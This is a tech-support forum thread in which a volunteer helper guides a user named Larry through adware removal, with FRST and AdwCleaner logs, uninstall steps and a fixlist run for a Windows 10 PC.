 
==================== Shortcuts =============================
 
(The entries could be listed to be restored or removed.)
 
==================== Loaded Modules (Whitelisted) ==============
 
2015-08-21 22:09 - 2015-08-21 22:09 - 00127488 _____ () C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Container.Wlan.dll
2015-12-31 16:16 - 2015-12-31 16:28 - 00244664 _____ () C:\Program Files\ByteFence\rtop\bin\rtop_svc.exe
2015-10-30 01:18 - 2015-10-30 01:18 - 00185856 _____ () C:\WINDOWS\SYSTEM32\ism32k.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02653816 _____ () C:\WINDOWS\system32\CoreUIComponents.dll
2015-12-31 16:16 - 2015-12-31 16:28 - 00553912 _____ () C:\Program Files\ByteFence\rtop\bin\rtop_bg.exe
2015-12-18 14:48 - 2015-12-18 14:48 - 02653816 _____ () C:\WINDOWS\System32\CoreUIComponents.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00093696 _____ () C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\Windows.UI.Shell.SharedUtilities.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00472064 _____ () C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\QuickActions.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 07992832 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\CortanaApi.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 00591360 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 02483200 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.BackgroundTask.dll
2015-12-18 14:48 - 2015-12-18 14:48 - 04089856 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\RemindersUI.dll
2015-12-18 15:48 - 2015-12-18 15:48 - 00144384 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.12.15004.0_x86__8wekyb3d8bbwe\SkypeHost.exe
2015-12-18 15:38 - 2015-12-18 15:39 - 00012800 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_15.1208.10480.0_x64__8wekyb3d8bbwe\Microsoft.Photos.exe
2015-12-18 15:38 - 2015-12-18 15:39 - 11542016 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_15.1208.10480.0_x64__8wekyb3d8bbwe\Microsoft.Photos.dll
2015-12-18 15:38 - 2015-12-18 15:39 - 00258560 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_15.1208.10480.0_x64__8wekyb3d8bbwe\StoreRatingPromotion.dll
2015-10-30 01:18 - 2015-10-30 01:18 - 02100064 _____ () C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\LockApp.exe
2015-12-18 15:48 - 2015-12-18 15:48 - 00141312 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.12.15004.0_x86__8wekyb3d8bbwe\SkypeBackgroundTasks.dll
2015-12-18 15:48 - 2015-12-18 15:48 - 21845504 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.12.15004.0_x86__8wekyb3d8bbwe\SkyWrap.dll
2015-12-18 15:48 - 2015-12-18 15:48 - 02940416 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.12.15004.0_x86__8wekyb3d8bbwe\MessagingNativeCore.dll
2015-12-18 15:48 - 2015-12-18 15:48 - 00583168 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.12.15004.0_x86__8wekyb3d8bbwe\MessagingEntityExtractionProxy.dll
2015-12-18 15:48 - 2015-12-18 15:48 - 01300992 _____ () C:\Program Files\WindowsApps\Microsoft.Messaging_2.12.15004.0_x86__8wekyb3d8bbwe\MessagingNativeBase.dll
2016-01-01 13:37 - 2016-01-01 13:37 - 00011264 _____ () C:\Users\Larry\AppData\Local\Temp\nsyC29.tmp\System.dll
2016-01-01 13:37 - 2016-01-01 13:37 - 00045056 _____ () C:\Users\Larry\AppData\Local\Temp\nsyC29.tmp\LogEx.dll
2016-01-01 13:37 - 2016-01-01 13:37 - 00010752 _____ () C:\Users\Larry\AppData\Local\Temp\nsyC29.tmp\stack.dll
2016-01-01 13:37 - 2016-01-01 13:37 - 00186368 _____ () C:\Users\Larry\AppData\Local\Temp\nsyC29.tmp\xml.dll
2015-12-31 16:41 - 2015-08-11 02:49 - 01903616 _____ () C:\Users\Larry\AppData\Local\Chromium\Application\46.0.2480.0\libglesv2.dll
2015-12-31 16:41 - 2015-08-11 02:49 - 00075264 _____ () C:\Users\Larry\AppData\Local\Chromium\Application\46.0.2480.0\libegl.dll
 
==================== Alternate Data Streams (Whitelisted) =========
 
(If an entry is included in the fixlist, only the ADS will be removed.)
 
 
==================== Safe Mode (Whitelisted) ===================
 
(If an entry is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.)
 
 
==================== EXE Association (Whitelisted) ===============
 
(If an entry is included in the fixlist, the registry item will be restored to default or removed.)
 
 
==================== Internet Explorer trusted/restricted ===============
 
(If an entry is included in the fixlist, it will be removed from the registry.)
 
 
==================== Hosts content: ==========================
 
(If needed Hosts: directive could be included in the fixlist to reset Hosts.)
 
2013-08-22 07:25 - 2015-12-31 18:54 - 00002024 ____A C:\WINDOWS\system32\Drivers\etc\hosts
 
0.0.0.0 0.0.0.0 # fix for traceroute and netstat display anomaly
0.0.0.0 tracking.opencandy.com.s3.amazonaws.com
0.0.0.0 media.opencandy.com
0.0.0.0 cdn.opencandy.com
0.0.0.0 tracking.opencandy.com
0.0.0.0 api.opencandy.com
0.0.0.0 api.recommendedsw.com
0.0.0.0 installer.betterinstaller.com
0.0.0.0 installer.filebulldog.com
0.0.0.0 d3oxtn1x3b8d7i.cloudfront.net
0.0.0.0 inno.bisrv.com
0.0.0.0 nsis.bisrv.com
0.0.0.0 cdn.file2desktop.com
0.0.0.0 cdn.goateastcach.us
0.0.0.0 cdn.guttastatdk.us
0.0.0.0 cdn.inskinmedia.com
0.0.0.0 cdn.insta.oibundles2.com
0.0.0.0 cdn.insta.playbryte.com
0.0.0.0 cdn.llogetfastcach.us
0.0.0.0 cdn.montiera.com
0.0.0.0 cdn.msdwnld.com
0.0.0.0 cdn.mypcbackup.com
0.0.0.0 cdn.ppdownload.com
0.0.0.0 cdn.riceateastcach.us
0.0.0.0 cdn.shyapotato.us
0.0.0.0 cdn.solimba.com
0.0.0.0 cdn.tuto4pc.com
0.0.0.0 cdn.appround.biz
0.0.0.0 cdn.bigspeedpro.com
0.0.0.0 cdn.bispd.com
 
There are 4 more lines.
 
 
==================== Other Areas ============================
 
(Currently there is no automatic fix for this section.)
 
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Larry\AppData\Roaming\FastStone\FSIV\FSViewerWallPaper.bmp
HKU\S-1-5-21-2690978493-790239216-3970457346-501\Control Panel\Desktop\\Wallpaper -> 
DNS Servers: 192.168.0.1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall is enabled.
 
==================== MSCONFIG/TASK MANAGER disabled items ==
 
(Currently there is no automatic fix for this section.)
 
HKLM\...\StartupApproved\StartupFolder: => "HP Digital Imaging Monitor.lnk"
HKLM\...\StartupApproved\Run32: => "HP Software Update"
HKLM\...\StartupApproved\Run32: => "QuickTime Task"
HKLM\...\StartupApproved\Run32: => "EEventManager"
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\...\StartupApproved\StartupFolder: => "Epson all-in-one Registration.lnk"
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\...\StartupApproved\Run: => "GarminExpressTrayApp"
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\...\StartupApproved\Run: => "TWC.Win7"
 
==================== FirewallRules (Whitelisted) ===============
 
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
 
FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139
FirewallRules: [{906B90EB-092B-4B5D-888B-7E60C40968D0}] => (Allow) C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPWarrantyCheck\HPDeviceDetection3.exe
FirewallRules: [{07E833D4-B59C-4F61-9E82-F418735DEEF4}] => (Allow) C:\Program Files (x86)\ZoomText 10.1\Zt.exe
FirewallRules: [{17D8B5D8-0BB2-4610-A7AA-A60040E5FCB2}] => (Allow) C:\Program Files (x86)\ZoomText 10.1\Zt.exe
FirewallRules: [{2BB2D303-94AB-4E25-9D97-70544B1DFEBA}] => (Allow) C:\Program Files (x86)\ZoomText 10.1\Zt.exe
FirewallRules: [{C612AA0F-1FCF-4157-B132-4C8B0302C8B3}] => (Allow) C:\Program Files (x86)\ZoomText 10.1\Zt.exe
FirewallRules: [{D7B85F58-CDE8-4F7B-B6E1-27A6112DB373}] => (Allow) C:\Program Files (x86)\Epson Software\Event Manager\EEventManager.exe
FirewallRules: [{7F54447F-6E67-4243-9EC3-773F4ED40E4B}] => (Allow) C:\Program Files (x86)\Epson Software\Event Manager\EEventManager.exe
FirewallRules: [{E143DE4C-D66A-4623-9772-344FD56307E2}] => (Allow) E:\Network\EpsonNetSetup\ENEasyApp.exe
FirewallRules: [{CC9AB4BB-85E7-4C6F-BD5F-C4242B001345}] => (Allow) E:\Network\EpsonNetSetup\ENEasyApp.exe
FirewallRules: [{816D59C3-0AE8-41E3-86BE-29827BBA61C5}] => (Allow) C:\Program Files (x86)\EPSON Software\Event Manager\EEventManager.exe
FirewallRules: [{7C027163-1FB2-4B2E-8305-4B8776D9F2D6}] => (Allow) C:\Program Files (x86)\EPSON Software\Event Manager\EEventManager.exe
FirewallRules: [{848D878B-76D7-4B87-A9C5-DE57BF810500}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
FirewallRules: [{473883A1-70F4-4A7F-B2B9-8A587267A639}] => (Allow) C:\Users\Larry\AppData\Local\Chromium\Application\chrome.exe
FirewallRules: [{B5B8D507-E208-438A-8DE4-18FC4BBD7679}] => (Allow) LPort=53000
FirewallRules: [{13CF26E1-5309-4A7D-8683-D7B7CCFFB748}] => (Allow) LPort=52000
 
==================== Restore Points =========================
 
19-12-2015 15:26:57 Windows Update
25-12-2015 13:47:22 Windows Modules Installer
30-12-2015 10:19:02 Windows Update
 
==================== Faulty Device Manager Devices =============
 
 
==================== Event log errors: =========================
 
Application errors:
==================
Error: (01/01/2016 03:24:13 PM) (Source: Application Hang) (EventID: 1002) (User: )
Description: The program Force112_Byte_Detector.exe version 1.1.2.0 stopped interacting with Windows and was closed. To see if more information about the problem is available, check the problem history in the Security and Maintenance control panel.
 
Process ID: 2514
 
Start Time: 01d144da704626bf
 
Termination Time: 86
 
Application Path: C:\Users\Larry\Downloads\Force112_Byte_Detector.exe
 
Report Id: fc7b14bb-b0cd-11e5-bf15-089e013b084a
 
Faulting package full name: 
 
Faulting package-relative application ID:
 
Error: (01/01/2016 03:23:03 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: Force112_Byte_Detector.exe, version: 1.1.2.0, time stamp: 0x2a425e19
Faulting module name: Force_Ty.dll, version: 0.0.0.0, time stamp: 0x4464fd47
Exception code: 0xc0000005
Fault offset: 0x00001ba0
Faulting process id: 0x2514
Faulting application start time: 0xForce112_Byte_Detector.exe0
Faulting application path: Force112_Byte_Detector.exe1
Faulting module path: Force112_Byte_Detector.exe2
Report Id: Force112_Byte_Detector.exe3
Faulting package full name: Force112_Byte_Detector.exe4
Faulting package-relative application ID: Force112_Byte_Detector.exe5
 
Error: (01/01/2016 01:37:43 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: regsvr32.exe, version: 10.0.10586.0, time stamp: 0x5632d864
Faulting module name: ntdll.dll, version: 10.0.10586.20, time stamp: 0x56540c3b
Exception code: 0xc0000005
Fault offset: 0x00000000000252d0
Faulting process id: 0x23d4
Faulting application start time: 0xregsvr32.exe0
Faulting application path: regsvr32.exe1
Faulting module path: regsvr32.exe2
Report Id: regsvr32.exe3
Faulting package full name: regsvr32.exe4
Faulting package-relative application ID: regsvr32.exe5
 
Error: (12/31/2015 10:37:36 PM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 8875
 
Error: (12/31/2015 10:37:36 PM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: m->NextScheduledEvent 8875
 
Error: (12/31/2015 10:37:36 PM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: Continuously busy for more than a second
 
Error: (12/31/2015 10:37:34 PM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 7234
 
Error: (12/31/2015 10:37:34 PM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: m->NextScheduledEvent 7234
 
Error: (12/31/2015 10:37:34 PM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: Continuously busy for more than a second
 
Error: (12/31/2015 10:37:32 PM) (Source: Bonjour Service) (EventID: 100) (User: )
Description: Task Scheduling Error: m->NextScheduledSPRetry 5562
 
 
System errors:
=============
Error: (01/01/2016 04:05:18 PM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: application-specificLocalActivation{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}NT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable
 
Error: (01/01/2016 03:05:14 PM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: application-specificLocalActivation{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}NT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable
 
Error: (01/01/2016 02:24:04 PM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: application-specificLocalActivation{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}NT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable
 
Error: (01/01/2016 01:40:05 PM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: application-specificLocalActivation{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}NT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable
 
Error: (01/01/2016 07:37:14 AM) (Source: DCOM) (EventID: 10010) (User: NT AUTHORITY)
Description: {784E29F4-5EBE-4279-9948-1E8FE941646D}
 
Error: (12/31/2015 10:37:16 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: The User Data Access_3bd81 service terminated unexpectedly.  It has done this 1 time(s).  The following corrective action will be taken in 10000 milliseconds: Restart the service.
 
Error: (12/31/2015 10:37:16 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: The User Data Storage_3bd81 service terminated unexpectedly.  It has done this 1 time(s).  The following corrective action will be taken in 10000 milliseconds: Restart the service.
 
Error: (12/31/2015 10:37:16 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: The Contact Data_3bd81 service terminated unexpectedly.  It has done this 1 time(s).  The following corrective action will be taken in 10000 milliseconds: Restart the service.
 
Error: (12/31/2015 10:37:16 PM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: The Sync Host_3bd81 service terminated unexpectedly.  It has done this 1 time(s).  The following corrective action will be taken in 10000 milliseconds: Restart the service.
 
Error: (12/31/2015 10:37:15 PM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: application-specificLocalActivation{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}NT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable
 
 
CodeIntegrity:
===================================
  Date: 2016-01-01 16:52:01.289
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements.
 
  Date: 2016-01-01 16:52:01.259
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements.
 
  Date: 2016-01-01 15:23:34.425
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements.
 
  Date: 2016-01-01 15:23:34.398
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements.
 
  Date: 2016-01-01 13:36:39.509
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements.
 
  Date: 2016-01-01 13:36:39.434
  Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume4\Program Files\Bonjour\mdnsNSP.dll that did not meet the Custom 3 / Antimalware signing level requirements.
 
  Date: 2015-12-30 21:27:44.949
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2015-12-26 07:38:19.416
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2015-12-20 07:52:19.211
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
  Date: 2015-12-18 13:39:23.809
  Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume4\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.
 
 
==================== Memory info =========================== 
 
Processor: AMD E1-1200 APU with Radeon™ HD Graphics
Percentage of memory in use: 46%
Total physical RAM: 3660.03 MB
Available physical RAM: 1975.62 MB
Total Virtual: 5035.11 MB
Available Virtual: 2758.95 MB
 
==================== Drives ================================
 
Drive c: () (Fixed) (Total:444.06 GB) (Free:382.94 GB) NTFS ==>[system with boot components (obtained from drive)]
Drive d: (Recovery Image) (Fixed) (Total:19.78 GB) (Free:2.47 GB) NTFS ==>[system with boot components (obtained from drive)]
 
==================== MBR & Partition Table ==================
 
========================================================
Disk: 0 (Size: 465.8 GB) (Disk ID: D370BA94)
 
Partition: GPT.
 
==================== End of Addition.txt ============================

  • 0

Advertisements


#2
dbreeze

dbreeze

    Trusted Helper

  • Malware Removal
  • 2,213 posts
Hi larryzas,

Welcome to Geeks to Go. My name is dbreeze and I'll be helping you with this problem. Before I get into the removal of malware / correction of your problem, I need you to be aware of the following:
  • Please read all of my response through at least once before attempting to follow the procedures described.I would recommend printing them out, if you can, as you can check off each step as you complete it. Also, as some of the cleaning may be done in Safe Mode and there will be no internet connection then, you will find that having the steps printed for reference speeds the cleaning process along. If there's anything you don't understand or isn't totally clear to you, please come back to me for clarification before you start those steps.
  • All of the assistants and staff at Geeks to Go are here on a volunteer basis; please respect our time given to the cause of helping others.If you are going to be away for more than 4 days, please let me know here. (I will do the same for you.) We do realize that 'life happens' and situations arise unexpectedly; we just ask that you keep us up to date. That being said, please notice the following Geeks to Go rule:
  • Posts that are not replied to in four (4) days will result in the topic being closed. We have not forgotten you; this is just an effort to keep the boards organized and flowing. To continue on your closed topic, please PM me or any Moderator to have the topic reactivated. If, at any time during our working together, I have not responded to you in 2 days (48 hours), then please PM me.
  • Malware removal is a complex, multiple step process; please stay with me on this thread (don't start another thread) until I declare that your logs are clean and you are good to go. The absence of apparent issues does not mean your system is clean; I will tell you when everything looks good for you to go and help you remove the tools we have used.
  • If any of the security programs on your system should give any warnings about the software tools I ask you to download and use, please do not be alarmed.All of the tools I will have you use are safe to use (as instructed) and malware free.
  • While we strive to disrupt your system as little as possible, things happen.If you can, it would be best to back up your personal files now (if you do not already have a backup). You can store these on a CD/DVD, USB drive or stick, anywhere but on your same system. This will save you from possible anguish later if something unforeseen happens.
  • Please do not run any other tools or scanners than what I ask you to.Some of the openly available software made for malware removal can make changes to your system that interfere with the cleaning of the malware, or even destroy your system. I will use only what the situation calls for and direct you in the proper use of that software.
  • Please do not attach any log files to your replies unless I specifically ask you.Instead please copy and paste so as to include the log in your reply. You can do this in separate posts if it's easier for you.


- Save ALL Tools to your Desktop-


All the tools that I will have you download should be placed on the desktop unless otherwise stated. If you are familiar with how to save files to the desktop then you can skip this step.

Since you are continuing with this step then I assume you are unfamiliar with saving files to your desktop. As a result it's easiest if you configure your browser(s) to download any tools to the desktop by default. Please use the appropriate instructions below depending on the browser you are using.
Chrome.JPGGoogle Chrome - Click the "Customize and control Google Chrome" button in the upper right-corner of the browser.Settings.JPG Choose Settings. at the bottom of the screen click the
"Show advanced settings..." link. Scroll down to find the Downloads section and click the Change... button. Select your desktop and click OK.
Firefox.JPGMozilla Firefox - Click the "Open Menu" button in the upper right-corner of the browser. Settings.JPG Choose Options. In the downloads section, click the Browse button, click on the Desktop folder
and the click the "Select Folder" button. Click OK to get out of the Options menu.
IE.jpgInternet Explorer - Click the Tools menu in the upper right-corner of the browser. Tools.JPG Select View downloads. Select the Options link in the lower left of the window. Click Browse and
select the Desktop and then choose the Select Folder button. Click OK to get out of the download options screen and then click Close to get out of the View Downloads screen.
NOTE: IE8 Does not support changing download locations in this manner. You will need to download the tool(s) to the default folder, usually Downloads, then copy them to the desktop.
 

Quoted from and used by permission of BrianDrab. Thank you.


Let's get started....


FIRST >>>>

Please go to START (Windows Orb) >> Control Panel >> Uninstall a Program or Programs and Features and remove the following (if listed):

ByteFence Anti-Malware
Chromium
Driver Restore
Software Updater
Pluto TV version 0.1.5


To do so, left clicking on the name once and then click Uninstall/Change at the bar above the list window.

Follow the prompts of the uninstaller BUT please read carefully any questions it asks before answering; some uninstallers will try and deceive you into keeping the software.


SECOND >>>>

FRST64.exe Fixlist run >>>>

Download the attached fixlist.txt file and save it to the Desktop. Attached File  Fixlist.txt   21.87KB   93 downloads

NOTE. It's important that both files, FRST64 and fixlist.txt are in the same location or the fix will not work.

NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system

Run FRST64 by right clicking on the FRST64.exe file, selecting "Run as Administrator..". The User Account Control may open up; if it does, select Yes to continue to let FRST open and load.

The tool will check for an updated version of itself every time it loads; please allow it to do this and the program will either inform you it is downloading an updated copy (and to wait until it is safe to continue) or show nothing (meaning there is no update found) and you can continue on. Press the Fix button just once and wait. The tool will create a restore point, process the script and ask for a restart of your system.

Press%20the%20FIX%20button_zpslenkmnr9.p

If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run.

When finished FRST will generate a log on the Desktop (Fixlog.txt). Please post it to your reply.


LAST >>>>

AdwCleaner by Xplode

Download AdwCleaner from here or from here. Save the file to the desktop.


NOTE: If you are using IE 8 or above you may get a warning that stops the program from downloading. Just click on the warning and allow the download to complete.

Close all open windows and browsers.
  • Vista/7/8 users: Right click the AdwCleaner icon on the desktop, click Run as administrator and accept the UAC prompt to run AdwCleaner.
    You will see the following console:

    AdwCleaner_v5016_zpsf8ln0fea.png
  • Click the Scan button and wait for the scan to finish.
  • After the Scan has finished the window may or may not show what it found and above, in the progress bar, you will see: Waiting for action. Please uncheck elements you don't want to remove.
  • Click the Clean button.
  • Everything checked will be deleted.
  • When the program has finished cleaning a report appears.
  • Once done it will ask to reboot, allow this

    adwcleaner_delete_restart.jpg
  • On reboot a log will be produced please copy / paste that in your next reply. This report is also saved to C:\AdwCleaner\AdwCleaner[C0].txt
  • Optional:

    NOTE: If you see AVG Secure Search being targeted for deletion, Here's Why and Here. You can always Reinstall it.

  • 0

#3
larryzas

larryzas

    Member

  • Topic Starter
  • Member
  • PipPip
  • 19 posts
here is the adw log


# AdwCleaner v5.027 - Logfile created 02/01/2016 at 17:25:42
# Updated 30/12/2015 by Xplode
# Database : 2015-12-30.1 [Server]
# Operating system : Windows 10 Home (x64)
# Username : Larry - LARRYSCOMPUTER
# Running from : C:\Users\Larry\Desktop\AdwCleaner.exe
# Option : Scan
# Support : http://toolslib.net/forum

***** [ Services ] *****


***** [ Folders ] *****

Folder Found : C:\Program Files (x86)\Yahoo!\Companion
Folder Found : C:\Users\Larry\AppData\LocalLow\Yahoo!\Companion
Folder Found : C:\Users\Larry\AppData\Roaming\Yahoo!\Companion

***** [ Files ] *****


***** [ DLL ] *****


***** [ Shortcuts ] *****


***** [ Scheduled tasks ] *****


***** [ Registry ] *****

Key Found : HKLM\SOFTWARE\Classes\AppID\REI_AxControl.DLL
Key Found : HKLM\SOFTWARE\Classes\REI_AxControl.ReiEngine.1
Key Found : HKLM\SOFTWARE\Classes\REI_AxControl.ReiEngine
Key Found : HKLM\SOFTWARE\Classes\YBrowserToolbar.YBrowserToolbar.1
Key Found : HKLM\SOFTWARE\Classes\YBrowserToolbar.YBrowserToolbar
Key Found : HKLM\SOFTWARE\Classes\AppID\{28FF42B8-A0DA-4BE5-9B81-E26DD59B350A}
Key Found : HKLM\SOFTWARE\Classes\Interface\{9BB31AD8-5DB2-459E-A901-DEA536F23BA4}
Key Found : HKLM\SOFTWARE\Classes\Interface\{BD51A48E-EB5F-4454-8774-EF962DF64546}
Key Found : HKLM\SOFTWARE\Classes\TypeLib\{FA6468D2-FAA4-4951-A53B-2A5CF9CC0A36}
Key Found : [x64] HKLM\SOFTWARE\Classes\CLSID\{10ECCE17-29B5-4880-A8F5-EAD298611484}
Key Found : [x64] HKLM\SOFTWARE\Classes\CLSID\{801B440B-1EE3-49B0-B05D-2AB076D4E8CB}
Key Found : [x64] HKLM\SOFTWARE\Classes\Interface\{9BB31AD8-5DB2-459E-A901-DEA536F23BA4}
Key Found : [x64] HKLM\SOFTWARE\Classes\Interface\{BD51A48E-EB5F-4454-8774-EF962DF64546}
Key Found : HKCU\Software\eSupport.com
Key Found : HKCU\Software\DriverRestore
Key Found : HKCU\Software\Yahoo\Companion
Key Found : HKCU\Software\Yahoo\YFriendsBar
Key Found : HKCU\Software\AppDataLow\Software\Yahoo\Companion
Key Found : HKLM\SOFTWARE\Yahoo\Companion
Key Found : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{8DBC5A0A-31C4-46C7-B252-6B593EA11A87}
Key Found : [x64] HKLM\SOFTWARE\Reimage
Key Found : [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Reimage Repair
Key Found : HKU\.DEFAULT\Software\Yahoo\Companion
Key Found : HKU\.DEFAULT\Software\Yahoo\YFriendsBar
Key Found : HKU\.DEFAULT\Software\AppDataLow\Software\Yahoo\Companion

***** [ Web browsers ] *****


########## EOF - C:\AdwCleaner\AdwCleaner[S1].txt - [2416 bytes] ##########


here are the frst logs

Fix result of Farbar Recovery Scan Tool (x64) Version:31-12-2015
Ran by Larry (2016-01-02 17:01:24) Run:1
Running from C:\Users\Larry\Desktop
Loaded Profiles: Larry (Available Profiles: Larry & Guest)
Boot Mode: Normal
==============================================

fixlist content:
*****************
Start
CreateRestorePoint:
CloseProcesses:
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\PlutoTV.lnk [2015-12-31]
ShortcutTarget: PlutoTV.lnk -> C:\Program Files (x86)\Pluto TV\PlutoTV.exe ()
C:\Program Files (x86)\Pluto TV
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxps://us.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_dnldstr_15_53&param1=1&param2=f%3D1%26b%3DIE%26cc%3Dus%26pa%3DWincy%26cd%3D2XzuyEtN2Y1L1QzutDzzzy0EtDtCtA0BtDzzyE0AyByCtCyBtN0D0Tzu0StCyEyCtDtN1L2XzutAtFtCyCtFtCtFtDtN1L1Czu1BtAtN1L1G1B1V1N2Y1L1Qzu2StCyD0E0CtCyDtDtAtGyB0ByD0FtG0EyCtByBtGtDtCtCyDtG0C0F0D0EtAyBzz0F0CzyyDzz2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0Azy0F0A0EtDtBtDtGyC0D0A0EtGyE0AtBtBtG0B0AtA0BtGyDtDtDzztBtB0A0CyDyB0Fzy2QtN0A0LzuyEtN1B2Z1V1T1S1NzutCtBzyyB%26cr%3D179075692%26a%3Dwbf_dnldstr_15_53%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome
